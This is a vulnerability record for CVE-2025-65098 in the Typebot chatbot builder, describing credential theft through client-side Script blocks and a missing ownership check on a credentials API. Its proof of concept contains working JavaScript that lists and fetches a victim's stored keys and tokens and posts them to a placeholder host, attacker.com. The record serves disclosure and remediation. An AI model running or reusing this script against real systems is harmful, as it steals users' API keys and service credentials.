{"id":"CVE-2025-65098","aliases":["GHSA-4xc5-wfwc-jw47"],"url":"https://o3.security/vulnerability/CVE-2025-65098","summary":"Typebot Vulnerable to Credential Theft via Client-Side Script Execution and API Authorization Bypass","details":"### Summary\n\nClient-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking \"Run\", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The `/api/trpc/credentials.getCredentials` endpoint returns plaintext API keys without verifying credential ownership\n\n---\n\n### Details\n\nThe Script block with \"Execute on client\" enabled runs arbitrary JavaScript in the victim's browser with their authenticated session. This allows API calls on their behalf.\n\nThe `/api/trpc/credentials.getCredentials` endpoint returns plaintext credentials:\n\n```http\nGET /api/trpc/credentials.getCredentials?input={\"json\":{\"scope\":\"user\",\"credentialsId\":\"cm6sofgv200085ms9d2qyvgwc\"}}\n\nResponse:\n{\n  \"result\": {\n    \"data\": {\n      \"json\": {\n        \"name\": \"My OpenAI Key\",\n        \"data\": { \"apiKey\": \"sk-proj-abc123...xyz789\" }\n      }\n    }\n  }\n}\n```\n\nThe endpoint only checks if you're authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.\n\nVulnerable file: `packages/embeds/js/src/features/blocks/logic/script/executeScript.ts`\n\n---\n\n### PoC\n\nHere's how to reproduce:\n\n1. Create a new typebot in the Builder\n2. Add a Script block and enable \"Execute on client\"\n3. Paste this code:\n\n```javascript\nconst exfil = async () => {\n  const data = { credentials: [] };\n\n  const list = await fetch(\n    \"https://app.typebot.io/api/trpc/credentials.listCredentials?input=\" +\n      encodeURIComponent(JSON.stringify({ json: { scope: \"user\" } })),\n    { credentials: \"include\" }\n  );\n  const creds = (await list.json()).result?.data?.json?.credentials || [];\n\n  for (const c of creds) {\n    const full = await fetch(\n      \"https://app.typebot.io/api/trpc/credentials.getCredentials?input=\" +\n        encodeURIComponent(\n          JSON.stringify({ json: { scope: \"user\", credentialsId: c.id } })\n        ),\n      { credentials: \"include\" }\n    );\n    const d = await full.json();\n    data.credentials.push({\n      name: d.result.data.json.name,\n      type: c.type,\n      apiKey: d.result.data.json.data.apiKey,\n      fullData: d.result.data.json.data,\n    });\n  }\n\n  const ws = await fetch(\n    \"https://app.typebot.io/api/trpc/workspace.listWorkspaces\",\n    { credentials: \"include\" }\n  );\n  const workspaces = (await ws.json()).result.data.json.workspaces;\n\n  for (const w of workspaces) {\n    const wsList = await fetch(\n      \"https://app.typebot.io/api/trpc/credentials.listCredentials?input=\" +\n        encodeURIComponent(\n          JSON.stringify({ json: { workspaceId: w.id, scope: \"workspace\" } })\n        ),\n      { credentials: \"include\" }\n    );\n    const wsCreds = (await wsList.json()).result?.data?.json?.credentials || [];\n\n    for (const c of wsCreds) {\n      const full = await fetch(\n        \"https://app.typebot.io/api/trpc/credentials.getCredentials?input=\" +\n          encodeURIComponent(\n            JSON.stringify({\n              json: {\n                workspaceId: w.id,\n                scope: \"workspace\",\n                credentialsId: c.id,\n              },\n            })\n          ),\n        { credentials: \"include\" }\n      );\n      const d = await full.json();\n      data.credentials.push({\n        workspace: w.name,\n        name: d.result.data.json.name,\n        type: c.type,\n        fullData: d.result.data.json.data,\n      });\n    }\n  }\n\n  await fetch(\"https://attacker.com/exfil\", {\n    method: \"POST\",\n    body: JSON.stringify(data),\n  });\n};\nawait exfil();\n```\n\n4. Share typebot with victim\n5. When victim clicks \"Run\" to preview, script executes\n6. All credentials exfiltrated in plaintext:\n\n```json\n{\n  \"credentials\": [\n    {\n      \"name\": \"My OpenAI\",\n      \"type\": \"openai\",\n      \"apiKey\": \"sk-proj-abc123...\",\n      \"fullData\": { \"apiKey\": \"sk-proj-abc123...\" }\n    },\n    {\n      \"workspace\": \"Company Workspace\",\n      \"name\": \"Google Sheets\",\n      \"type\": \"google-sheets\",\n      \"fullData\": {\n        \"refresh_token\": \"1//0gHdP...\",\n        \"access_token\": \"ya29.a0...\"\n      }\n    }\n  ]\n}\n```\n\n---\n\n### Impact\n\nAll Typebot users storing credentials are affected. Attackers can steal OpenAI API keys, Google Sheets tokens, SMTP passwords, and all other stored credentials.\n\nExample: Attacker creates a \"Customer Feedback Template\" and shares with 5 company employees. When they preview it, the attacker obtains the company's OpenAI key ($500+/month), Google Sheets access with customer data, and SMTP credentials.\n\nRoot causes:\n\n- Client-side scripts execute with victim's authenticated session\n- API returns plaintext credentials without ownership verification\n- No user warnings or consent prompts\n- Exploitable with free tier account\n\nCWE-639 (Authorization Bypass), CWE-79 (XSS), CWE-311 (Missing Encryption)","published":"2026-01-22T14:59:20.488Z","modified":"2026-08-12T03:51:43.517437125Z","cvss":{"score":7.4,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@typebot.io/js","fixedVersion":"0.9.15"}],"fix":{"url":"https://github.com/baptisteArno/typebot.io/commit/a68f0c91790af8f52f17557f4aa202e966e7e579","label":"baptisteArno/typebot.io@a68f0c9"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/65xxx/CVE-2025-65098.json"},{"type":"ADVISORY","url":"https://github.com/baptisteArno/typebot.io/security/advisories/GHSA-4xc5-wfwc-jw47"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-65098"},{"type":"WEB","url":"https://github.com/baptisteArno/typebot.io/commit/a68f0c91790af8f52f17557f4aa202e966e7e579"},{"type":"PACKAGE","url":"https://github.com/baptisteArno/typebot.io"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:43.517437125Z"}}